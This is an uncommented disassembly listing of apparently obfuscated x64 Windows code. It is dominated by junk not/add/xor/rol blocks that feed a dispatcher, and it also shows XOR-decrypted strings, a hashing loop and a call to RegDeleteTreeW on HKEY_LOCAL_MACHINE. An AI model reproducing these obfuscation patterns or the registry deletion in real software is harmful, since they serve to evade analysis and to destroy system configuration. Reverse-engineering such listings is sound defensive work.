pushf
sub rdx, 0x67327c6f
popf
lea rcx, [rsp + 0x40]
call fcn.1400faaf3
nop
call fcn.14012dd7a
lea rcx, [r13 + 0x40]
jmp 0x1400f52bd
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rcx, [rsp + 0x40]
mov r15, qword [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rcx, r15
mov rdx, qword [rsp + 0x50]
test rdx, rdx
je 0x1400f5327
push rax
pushf
mov eax, 0xc5e0cdaf
pushf
not eax
add eax, 0xb89137d8
xor eax, 0xbb0ae054
rol eax, 0x83
popf
pushf
not eax
add eax, 0xfa4f2d49
xor eax, 0xe26281e9
rol eax, 0x27
popf
pushf
not eax
add eax, 0xd94cdf66
xor eax, 0xcd20979a
rol eax, 0xff
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0x5d2ee6be
pushf
not eax
add eax, 0xb8fba577
xor eax, 0xf0a698fd
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xcc444ba8
xor eax, 0xf1724b0e
rol eax, 0xed
popf
pushf
not eax
add eax, 0xd76e010b
xor eax, 0x85a201c4
rol eax, 0x88
popf
pushf
not eax
add eax, 0xfc64ef21
xor eax, 0xceb71558
rol eax, 0xf3
popf
jmp 0x1400f3bf4
movabs r8, 0x2ecc0000b7ddcbec
pushf
not r8
add r8, 0x63cf7929
xor r8, 0x57ffcd14
rol r8, 6
popf
pushf
not r8
add r8, 0x60f7aebe
xor r8, 0x5d5fa488
rol r8, 0x48
popf
nop word [rax + rax]
push rax
pushf
mov eax, 0xb339aa28
pushf
not eax
add eax, 0xed32487d
xor eax, 0xa0e10941
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xbd91f848
xor eax, 0xd0c08a87
rol eax, 0x48
popf
pushf
not eax
add eax, 0xfa6a762b
xor eax, 0xe788cb5d
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xfefb3bb8
xor eax, 0x9e2293dd
rol eax, 0x6c
popf
jmp 0x1400f3bf4
movzx eax, byte [rdi + rcx]
xor rsi, rax
imul rsi, r8
inc rdi
cmp rdi, rdx
jb 0x1400f5466
push rax
pushf
mov eax, 0x4b0e4dd3
pushf
not eax
add eax, 0x80cc8237
xor eax, 0xced5db15
rol eax, 0x15
popf
pushf
not eax
add eax, 0xc3c6a9c1
xor eax, 0xd4e5bc43
rol eax, 0x13
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0x1c2a31d0
pushf
not eax
add eax, 0xcf6a0c35
xor eax, 0x9f291015
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xa79ad02e
xor eax, 0xc0edb2cb
rol eax, 0x73
popf
pushf
not eax
add eax, 0xd17b0626
xor eax, 0xd0645866
rol eax, 0x57
popf
pushf
not eax
add eax, 0xe7f252ee
xor eax, 0xdb2698e9
rol eax, 0x7f
popf
jmp 0x1400f3bf4
mov r9, rsi
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x68]
mov rcx, r13
call fcn.1400ef8f3
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x1400f5523
push rax
pushf
mov eax, 0x1d4c02c0
pushf
not eax
add eax, 0xbd893aa8
xor eax, 0xb6398d7d
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xd2f7a62c
xor eax, 0xc8b05271
rol eax, 0x65
popf
pushf
not eax
add eax, 0x8cb052f0
xor eax, 0xf029f782
rol eax, 0x8d
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0x96f6a8ff
pushf
not eax
add eax, 0xe1338a34
xor eax, 0x9ccf705f
rol eax, 0x58
popf
pushf
not eax
add eax, 0x97b9c787
xor eax, 0xe950c9f9
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xa091bf58
xor eax, 0x938b6dfe
rol eax, 0x37
popf
jmp 0x1400f3bf4
cmp rdx, qword [r13 + 8]
je 0x1400f55c8
push rax
pushf
mov eax, 0x5963e0f1
pushf
not eax
add eax, 0xf240511b
xor eax, 0x9c169903
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xb6df9b21
xor eax, 0xbb1ecf26
rol eax, 0x9c
popf
pushf
not eax
add eax, 0x800802c3
xor eax, 0x8fd47e67
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x98d1564e
xor eax, 0xc0d0d799
rol eax, 0xee
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0x3e083da3
pushf
not eax
add eax, 0xb8a48913
xor eax, 0x99a3a8d5
rol eax, 0x37
popf
pushf
not eax
add eax, 0xad96ba4f
xor eax, 0xcfb39b82
rol eax, 0x3a
popf
pushf
not eax
add eax, 0x97f98fea
xor eax, 0xd0325f29
rol eax, 0x4f
popf
pushf
not eax
add eax, 0x8953f099
xor eax, 0xd3ed0af4
rol eax, 0x13
popf
jmp 0x1400f3bf4
mov rdi, qword [rdx + 0x30]
lea rcx, [r13 + 0x40]
jmp 0x1400f562a
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test rdi, rdi
je 0x1400f567b
push rax
pushf
mov eax, 0x88473034
pushf
not eax
add eax, 0xacba0273
xor eax, 0xc59ab1ad
rol eax, 0xd
popf
pushf
not eax
add eax, 0xc8e42f24
xor eax, 0x9f549ce1
rol eax, 0x99
popf
pushf
not eax
add eax, 0xc5c7d2a6
xor eax, 0xb7844849
rol eax, 0xd2
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0x3424c6b7
pushf
not eax
add eax, 0x95ddbf0f
xor eax, 0xc9af1a8c
rol eax, 0x78
popf
pushf
not eax
add eax, 0xadc50ec4
xor eax, 0xdd17c523
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xdc857527
xor eax, 0xc57d38fa
rol eax, 0x65
popf
jmp 0x1400f3bf4
lea rcx, [rsp + 0x78]
jmp 0x1400f56c7
call rdi
mov edi, eax
jmp 0x1400f5819
lea rcx, [r13 + 0x40]
jmp 0x1400f572e
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push rax
pushf
mov eax, 0x7833c8ca
pushf
not eax
add eax, 0xecd738b4
xor eax, 0xef0d11d8
rol eax, 0x53
popf
pushf
not eax
add eax, 0xc710d9fa
xor eax, 0xd29cb4d7
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xd626cdb9
xor eax, 0x8753f144
rol eax, 0x88
popf
pushf
not eax
add eax, 0xc4fff573
xor eax, 0xdb977e30
rol eax, 0xa
popf
jmp 0x1400f3bf4
mov edi, 0xb87eb551
pushf
not edi
add edi, 0xf0fdbaa3
xor edi, 0xe39b195e
rol edi, 0x1a
popf
pushf
not edi
add edi, 0xa07cefac
xor edi, 0xa23fee4f
rol edi, 0xeb
popf
pushf
not edi
add edi, 0x9bd28376
xor edi, 0x9ca3174e
rol edi, 0x6e
popf
pushf
not edi
add edi, 0xd02c03fd
xor edi, 0xbea75d47
rol edi, 0x46
popf
push rax
pushf
mov eax, 0x5e843a92
pushf
not eax
add eax, 0x9f7060be
xor eax, 0xd259a948
rol eax, 0x40
popf
pushf
not eax
add eax, 0x97a722b5
xor eax, 0xa4f19350
rol eax, 0x44
popf
jmp 0x1400f3bf4
mov rax, qword [rsp + 0x58]
cmp rax, 0xf
jbe 0x1400f586a
push rax
pushf
mov eax, 0x3c6e91fd
pushf
not eax
add eax, 0x8e9f34c1
xor eax, 0xdf935a60
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x81d47117
xor eax, 0xf336bd3a
rol eax, 0x47
popf
pushf
not eax
add eax, 0xa9a7d0b0
xor eax, 0x80b75ae4
rol eax, 0x52
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0xeb96ef84
pushf
not eax
add eax, 0xcd68b2d7
xor eax, 0xb52d743b
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xa160cc7d
xor eax, 0xb42581d5
rol eax, 0x29
popf
jmp 0x1400f3bf4
lea rdx, [rax + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x1400f58f3
push rax
pushf
mov eax, 0x40a5a711
pushf
not eax
add eax, 0xfe9146eb
xor eax, 0xc422a2a4
rol eax, 0x27
popf
pushf
not eax
add eax, 0xc7fe4d85
xor eax, 0xe6c011ac
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xd1f60f7f
xor eax, 0xd77aef52
rol eax, 0xeb
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0x5f36de19
pushf
not eax
add eax, 0x8b91d6cd
xor eax, 0xda45461c
rol eax, 0xce
popf
pushf
not eax
add eax, 0xf7952084
xor eax, 0xd8e156da
rol eax, 0x83
popf
pushf
not eax
add eax, 0xa0d5f054
xor eax, 0xb6924f1d
rol eax, 0x48
popf
jmp 0x1400f3bf4
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400f5994
push rax
pushf
mov eax, 0x71773ed7
pushf
not eax
add eax, 0xc5e47381
xor eax, 0xdcdfbc25
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xfeeafc50
xor eax, 0xc26f65fb
rol eax, 0x18
popf
pushf
not eax
add eax, 0xd1ab6be5
xor eax, 0x929759ce
rol eax, 0xda
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0x8ea87602
pushf
not eax
add eax, 0xe5de4e37
xor eax, 0xcf4222a4
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x8e9af151
xor eax, 0x9a915f92
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xe722a936
xor eax, 0xac104719
rol eax, 0x10
popf
pushf
not eax
add eax, 0xc4deee51
xor eax, 0x9041020d
rol eax, 0x5e
popf
jmp 0x1400f3bf4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.1400dff78
push rax
pushf
mov eax, 0xf9fc9f5
pushf
not eax
add eax, 0xc887a4ee
xor eax, 0xfed6d5e7
rol eax, 0xe7
popf
pushf
not eax
add eax, 0x816e437b
xor eax, 0xe3ace92a
rol eax, 0x10
popf
pushf
not eax
add eax, 0xb2c41862
xor eax, 0xa7c68d16
rol eax, 0xe4
popf
jmp 0x1400f3bf4
movabs rax, 0x755adb0fb406911e
pushf
not rax
add rax, 0x68d6dfc4
xor rax, 0x4a39a062
rol rax, 0xa8
popf
pushf
not rax
add rax, 0x5c3e7b48
xor rax, 0x7735051f
rol rax, 0x29
popf
pushf
not rax
add rax, 0x59073c13
xor rax, 0x40a27eee
rol rax, 0x8c
popf
pushf
not rax
add rax, 0x5721f3f2
xor rax, 0x5d2f864b
rol rax, 0xfc
popf
mov qword [rbp + 0x20], rax
movabs rax, 0x6fd8770666f99acc
pushf
not rax
add rax, 0x513bda57
xor rax, 0x53a7747c
rol rax, 0x25
popf
pushf
not rax
add rax, 0x530999d5
xor rax, 0x6999cc4f
rol rax, 0xf6
popf
pushf
not rax
add rax, 0x737758f6
xor rax, 0x79e38ab9
rol rax, 7
popf
mov qword [rbp + 0x28], rax
movabs rax, 0xa3d5de4aaab4baf8
pushf
not rax
add rax, 0x73a16760
xor rax, 0x5973327d
rol rax, 0x37
popf
pushf
not rax
add rax, 0x5f0bde97
xor rax, 0x4d056b89
rol rax, 0x7c
popf
mov qword [rbp + 0x30], rax
movabs rax, 0x21f123a069369cf
pushf
not rax
add rax, 0x6d06fb16
xor rax, 0x7f576420
rol rax, 0x64
popf
pushf
not rax
add rax, 0x63910319
xor rax, 0x7cca8ea7
rol rax, 0xa8
popf
pushf
not rax
add rax, 0x57dd823a
xor rax, 0x77d17ddd
rol rax, 0x7e
popf
pushf
not rax
add rax, 0x41a6c93a
xor rax, 0x6602c1c9
rol rax, 0x49
popf
mov qword [rbp + 0x38], rax
movabs rax, 0xa1a4e6c38b996b7b
pushf
not rax
add rax, 0x79809aea
xor rax, 0x480413ab
rol rax, 0x7b
popf
pushf
not rax
add rax, 0x60ee679b
xor rax, 0x4649844b
rol rax, 7
popf
pushf
not rax
add rax, 0x77051296
xor rax, 0x65643d10
rol rax, 0xc2
popf
mov qword [rbp + 0x40], rax
movabs rax, 0x32cb7143097539f8
pushf
not rax
add rax, 0x51e21237
xor rax, 0x55114dcc
rol rax, 0xff
popf
pushf
not rax
add rax, 0x6d262ed1
xor rax, 0x7d8268f3
rol rax, 0x9f
popf
pushf
not rax
add rax, 0x4639c993
xor rax, 0x5f103b46
rol rax, 0x8a
popf
mov qword [rbp + 0x48], rax
movabs rax, 0xb155d28040a584ed
pushf
not rax
add rax, 0x7d783317
xor rax, 0x4208831e
rol rax, 0x8c
popf
pushf
not rax
add rax, 0x75543568
xor rax, 0x6b9fbdba
rol rax, 0x68
popf
mov qword [rbp + 0x50], rax
movabs rax, 0x8afcc3ee82e4138d
pushf
not rax
add rax, 0x57ccc927
xor rax, 0x4d54220e
rol rax, 0x1e
popf
pushf
not rax
add rax, 0x580b8d98
xor rax, 0x5279e677
rol rax, 0xe2
popf
mov qword [rbp + 0x58], rax
movabs rax, 0x905619b8492adaf2
pushf
not rax
add rax, 0x7cc08ac9
xor rax, 0x632389c2
rol rax, 0x93
popf
pushf
not rax
add rax, 0x45b1db1a
xor rax, 0x4e559d3b
rol rax, 0x7d
popf
pushf
not rax
add rax, 0x70e8b8b1
xor rax, 0x7c5b0ba6
rol rax, 0x1b
popf
pushf
not rax
add rax, 0x7f956109
xor rax, 0x5cec0d85
rol rax, 0xc7
popf
mov qword [rbp + 0x60], rax
movabs rax, 0x58f04d519e998582
pushf
not rax
add rax, 0x5050a850
xor rax, 0x6df609cd
rol rax, 0x9b
popf
pushf
not rax
add rax, 0x4e5282a5
xor rax, 0x7d018aaf
rol rax, 0x2b
popf
pushf
not rax
add rax, 0x40364605
xor rax, 0x49cdbeb4
rol rax, 0xbf
popf
mov qword [rbp + 0x68], rax
movabs rcx, 0xc3cb5fa2ab9cb858
pushf
not rcx
add rcx, 0x493d16d1
xor rcx, 0x422c9436
rol rcx, 0x28
popf
pushf
not rcx
add rcx, 0x78d04f54
xor rcx, 0x5b7f663a
rol rcx, 0x56
popf
pushf
not rcx
add rcx, 0x68289ef3
xor rcx, 0x40438b29
rol rcx, 0
popf
mov qword [rbp - 0x50], rcx
movabs rcx, 0x7217357c836043a2
pushf
not rcx
add rcx, 0x531c8af5
xor rcx, 0x47e46613
rol rcx, 0xbf
popf
pushf
not rcx
add rcx, 0x5b9c4849
xor rcx, 0x651a2fb0
rol rcx, 0xa2
popf
pushf
not rcx
add rcx, 0x4df1d176
xor rcx, 0x7032f12c
rol rcx, 0x96
popf
pushf
not rcx
add rcx, 0x552a0c89
xor rcx, 0x73ec254a
rol rcx, 0x71
popf
mov qword [rbp - 0x48], rcx
movabs rcx, 0xe69e45efa6d17b0e
pushf
not rcx
add rcx, 0x5d5131f3
xor rcx, 0x55ca859c
rol rcx, 0x22
popf
pushf
not rcx
add rcx, 0x7bb6cd28
xor rcx, 0x7a86071c
rol rcx, 0xdf
popf
pushf
not rcx
add rcx, 0x73bcf278
xor rcx, 0x5d402124
rol rcx, 0x1d
popf
pushf
not rcx
add rcx, 0x4430301e
xor rcx, 0x6ef5a023
rol rcx, 0x19
popf
mov qword [rbp - 0x40], rcx
movabs rcx, 0x40904a8d054a9432
pushf
not rcx
add rcx, 0x52bbd55c
xor rcx, 0x547ce7d1
rol rcx, 0x91
popf
pushf
not rcx
add rcx, 0x5fa293e9
xor rcx, 0x67dff8db
rol rcx, 0x82
popf
mov qword [rbp - 0x38], rcx
movabs rcx, 0xc885abb5c4936b13
pushf
not rcx
add rcx, 0x681b3172
xor rcx, 0x5bb38485
rol rcx, 0x5e
popf
pushf
not rcx
add rcx, 0x72413fdd
xor rcx, 0x5f5f1895
rol rcx, 0x89
popf
mov qword [rbp - 0x30], rcx
movabs rcx, 0x63686dedbff2cbc2
pushf
not rcx
add rcx, 0x614a326a
xor rcx, 0x6c412eca
rol rcx, 0xa4
popf
pushf
not rcx
add rcx, 0x66fe219c
xor rcx, 0x6f6939aa
rol rcx, 0x8a
popf
pushf
not rcx
add rcx, 0x493093fa
xor rcx, 0x5cdb7e70
rol rcx, 0x1b
popf
pushf
not rcx
add rcx, 0x6be622b3
xor rcx, 0x5fe44ad2
rol rcx, 0xbc
popf
mov qword [rbp - 0x28], rcx
movabs rcx, 0x791c13d65164c65b
pushf
not rcx
add rcx, 0x7f1c7632
xor rcx, 0x5b6103e8
rol rcx, 0x89
popf
pushf
not rcx
add rcx, 0x4a7e190c
xor rcx, 0x783a9439
rol rcx, 0xe8
popf
mov qword [rbp - 0x20], rcx
movabs rcx, 0xd57b4d0c0add5e75
pushf
not rcx
add rcx, 0x6a77d2b8
xor rcx, 0x552a4907
rol rcx, 0x2b
popf
pushf
not rcx
add rcx, 0x7dfeefdd
xor rcx, 0x5c1898de
rol rcx, 0x37
popf
pushf
not rcx
add rcx, 0x5c556b23
xor rcx, 0x454ca006
rol rcx, 0x55
popf
mov qword [rbp - 0x18], rcx
movabs rcx, 0x7efedd0d529f2132
pushf
not rcx
add rcx, 0x4907b84a
xor rcx, 0x55faf3a9
rol rcx, 0xdc
popf
pushf
not rcx
add rcx, 0x798eff6f
xor rcx, 0x41cf185f
rol rcx, 0xa
popf
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmm1, xmmword [rbp + 0x30]
xorps xmm1, xmmword [rbp - 0x40]
movdqa xmmword [rbp + 0x30], xmm1
movdqa xmm0, xmmword [rbp + 0x40]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x50]
xorps xmm1, xmmword [rbp - 0x20]
movdqa xmmword [rbp + 0x50], xmm1
movdqa xmm0, xmmword [rbp + 0x60]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp + 0x60], xmm0
lea rax, [rbp + 0x20]
nop dword [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x1400f6172
push rax
pushf
mov eax, 0x362bdde
pushf
not eax
add eax, 0xbd9025fc
xor eax, 0xf053297d
rol eax, 0x49
popf
pushf
not eax
add eax, 0x88adb7ea
xor eax, 0xa17c0ad2
rol eax, 0x58
popf
pushf
not eax
add eax, 0xc8bf90f4
xor eax, 0xc6f6b765
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xbfc77d66
xor eax, 0x9c2adb8c
rol eax, 0x52
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0x44b5d6a3
pushf
not eax
add eax, 0xec6a40b8
xor eax, 0xacaceabe
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xa7632cbb
xor eax, 0x8cede791
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xb4e2c761
xor eax, 0x8850cf5f
rol eax, 0x22
popf
pushf
not eax
add eax, 0xb969224e
xor eax, 0xc8c78068
rol eax, 0xd9
popf
jmp 0x1400f3bf4
mov rax, qword [r14 + 0x10]
movabs rcx, 0xc66f885cab96b326
pushf
not rcx
add rcx, 0x4f6e5f2c
xor rcx, 0x5c285490
rol rcx, 0x1e
popf
pushf
not rcx
add rcx, 0x640b4061
xor rcx, 0x61b5e478
rol rcx, 0x37
popf
pushf
not rcx
add rcx, 0x7fc4012d
xor rcx, 0x6ef60836
rol rcx, 0x67
popf
sub rcx, rax
cmp rcx, rbx
jb 0x1400f6289
push rax
pushf
mov eax, 0x618e0ec0
pushf
not eax
add eax, 0xef6c64f3
xor eax, 0xd4b896e7
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xd1471ea7
xor eax, 0xbcb85ebd
rol eax, 0xf
popf
pushf
not eax
add eax, 0x8092f257
xor eax, 0xeb2d7889
rol eax, 0x3e
popf
pushf
not eax
add eax, 0x9474b9af
xor eax, 0x80ca62cb
rol eax, 0xdf
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0xaa0e4a9b
pushf
not eax
add eax, 0x8e7f3c4e
xor eax, 0xc6d57619
rol eax, 0x69
popf
pushf
not eax
add eax, 0xe1159a48
xor eax, 0x93e64402
rol eax, 0xb
popf
jmp 0x1400f3bf4
cmp qword [r14 + 0x18], 7
jbe 0x1400f6309
push rax
pushf
mov eax, 0x419bfcb6
pushf
not eax
add eax, 0xd9dc80ed
xor eax, 0xb85731da
rol eax, 0x16
popf
pushf
not eax
add eax, 0xdcaedf7c
xor eax, 0xd9a3bde5
rol eax, 0x4d
popf
pushf
not eax
add eax, 0x951ca026
xor eax, 0xe88f2d45
rol eax, 0x7b
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0x466c6193
pushf
not eax
add eax, 0x81ca366b
xor eax, 0xb9fecd99
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xcc061c5a
xor eax, 0xb33ba860
rol eax, 0x80
popf
jmp 0x1400f3bf4
mov r14, qword [r14]
push rax
pushf
mov eax, 0x9f2fcbe4
pushf
not eax
add eax, 0xa89c6403
xor eax, 0x8b15ce22
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xf284061d
xor eax, 0x81262b51
rol eax, 0xb
popf
pushf
not eax
add eax, 0xce7504af
xor eax, 0xb5d0748e
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xb88449b6
xor eax, 0xd30625b2
rol eax, 0xdb
popf
jmp 0x1400f3bf4
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.1400d5870
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 7
cmova rdx, qword [rsp + 0x40]
mov rcx, 0xffffffff80000002
jmp 0x1400f63ce
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x1400f6425
push rax
pushf
mov eax, 0x60a7301c
pushf
not eax
add eax, 0xea74f08c
xor eax, 0xdcf11dcf
rol eax, 0x28
popf
pushf
not eax
add eax, 0xe1f37073
xor eax, 0xb5a4c22f
rol eax, 0x9f
popf
pushf
not eax
add eax, 0x977a9be7
xor eax, 0x8f6812cd
rol eax, 0x2f
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0x22e5bb2b
pushf
not eax
add eax, 0xaa8834c6
xor eax, 0x876f40b1
rol eax, 0x98
popf
pushf
not eax
add eax, 0xd006ab9e
xor eax, 0xe39df9e5
rol eax, 0x36
popf
pushf
not eax
add eax, 0x9f81c1ec
xor eax, 0xbf3049e2
rol eax, 0xb7
popf
jmp 0x1400f3bf4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400f64ca
push rax
pushf
mov eax, 0x6d5fb4c5
pushf
not eax
add eax, 0xeac0f48c
xor eax, 0xa45a982b
rol eax, 0x76
popf
pushf
not eax
add eax, 0x8de22d90
xor eax, 0xd13e3154
rol eax, 0x92
popf
pushf
not eax
add eax, 0xf51b36ef
xor eax, 0xf5522993
rol eax, 3
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0x25de052a
pushf
not eax
add eax, 0x96724bb8
xor eax, 0xfcda52df
rol eax, 0x5f
popf
pushf
not eax
add eax, 0x8fbd529d
xor eax, 0xc9964871
rol eax, 0xa4
popf
jmp 0x1400f3bf4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400f656b
push rax
pushf
mov eax, 0x5fcc9ae7
pushf
not eax
add eax, 0x99a0cecf
xor eax, 0xaf97e7e7
rol eax, 0x12
popf
pushf
not eax
add eax, 0xab98293c
xor eax, 0x8725afd0
rol eax, 0x98
popf
pushf
not eax
add eax, 0x923804e7
xor eax, 0x8e886a49
rol eax, 0x13
popf
pushf
not eax
add eax, 0xb424cd8e
xor eax, 0xc2b3ec84
rol eax, 0x1c
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0x52c3be83
pushf
not eax
add eax, 0x89b01bde
xor eax, 0xde04e478
rol eax, 0x82
popf
pushf
not eax
add eax, 0xce183646
xor eax, 0xc587882d
rol eax, 0x76
popf
pushf
not eax
add eax, 0xd8c0efd0
xor eax, 0xbd5b2aa6
rol eax, 0x40
popf
pushf
not eax
add eax, 0x8c813513
xor eax, 0xbda15b53
rol eax, 0xcd
popf
jmp 0x1400f3bf4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400dff78
nop
push rax
pushf
mov eax, 0xccaa777e
pushf
not eax
add eax, 0x93100e8f
xor eax, 0xb7a4686b
rol eax, 0xc
popf
pushf
not eax
add eax, 0x9896228a
xor eax, 0xd6943143
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xa7f42049
xor eax, 0xb7a14ec7
rol eax, 0x61
popf
jmp 0x1400f3bf4
mov rdx, qword [rbp - 0x60]
cmp rdx, 7
jbe 0x1400f66d4
push rax
pushf
mov eax, 0x518bf9f
pushf
not eax
add eax, 0xd9893c40
xor eax, 0x9a24b954
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xf2699082
xor eax, 0xbd0b5066
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xa54f1f21
xor eax, 0xfba8e4de
rol eax, 0xe
popf
pushf
not eax
add eax, 0xf5596f44
xor eax, 0x9030ccb8
rol eax, 0xcb
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0xa870fbf3
pushf
not eax
add eax, 0xdd88f012
xor eax, 0x9e1bf76c
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xff825347
xor eax, 0xfa37a716
rol eax, 0x4a
popf
jmp 0x1400f3bf4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400f6752
push rax
pushf
mov eax, 0x2793358b
pushf
not eax
add eax, 0x97feaa53
xor eax, 0xfe46fdc7
rol eax, 0x25
popf
pushf
not eax
add eax, 0x9551c5fc
xor eax, 0xc560a5ea
rol eax, 0x4a
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0xb033a03
pushf
not eax
add eax, 0xb2d67493
xor eax, 0xc2e99449
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xc25b93b4
xor eax, 0xe75d259c
rol eax, 0x3e
popf
pushf
not eax
add eax, 0x80fc34c2
xor eax, 0xfc73c466
rol eax, 0x71
popf
pushf
not eax
add eax, 0x8baea774
xor eax, 0x9ab73884
rol eax, 0x17
popf
jmp 0x1400f3bf4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400f6819
push rax
pushf
mov eax, 0x21ce8bf2
pushf
not eax
add eax, 0xf46b56c8
xor eax, 0xd5123541
rol eax, 0x79
popf
pushf
not eax
add eax, 0xafc05c16
xor eax, 0xa6d410ec
rol eax, 0x71
popf
pushf
not eax
add eax, 0xd8dce62b
xor eax, 0xaf65c5bb
rol eax, 0xce
popf
pushf
not eax
add eax, 0xdec7e248
xor eax, 0x8090ece4
rol eax, 0xeb
popf
jmp 0x1400f3bf4
push rax
pushf
mov eax, 0xfbacf429
pushf
not eax
add eax, 0xe7ef6afa
xor eax, 0xd5c21943
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x94f9cb4a
xor eax, 0xf8a138b2
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xbf7443ad
xor eax, 0xc5a4c179
rol eax, 0x94
popf
pushf
not eax
add eax, 0xb5c35a81
xor eax, 0xd8429f12
rol eax, 0x40
popf
jmp 0x1400f3bf4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400dff78
push rax
pushf
mov eax, 0x17fbd1cf
pushf
not eax
add eax, 0xd4ea8dbd
xor eax, 0xf1130414
rol eax, 0x54
popf
pushf
not eax
add eax, 0xd7de2fdc
xor eax, 0x8548bc40
rol eax, 0x43
popf
pushf
not eax
add eax, 0xe64b2663
xor eax, 0xfe67c460
rol eax, 0xf
popf
jmp 0x1400f3bf4
mov eax, edi
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.140108cb2
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140108edc
nop
push rax
pushf
mov eax, 0xdad133e6
pushf
not eax
add eax, 0xa101eccf
xor eax, 0xfb1c4c89
rol eax, 0x97
popf
pushf
not eax
add eax, 0xcbe61e6b
xor eax, 0xe629ce34
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xeb01e7fe
xor eax, 0xa2a21660
rol eax, 0x59
popf
pushf
not eax
add eax, 0xbe8a66d1
xor eax, 0xe5be5e49
rol eax, 0x93
popf
jmp 0x1400f3bf4
call fcn.140108edc
int3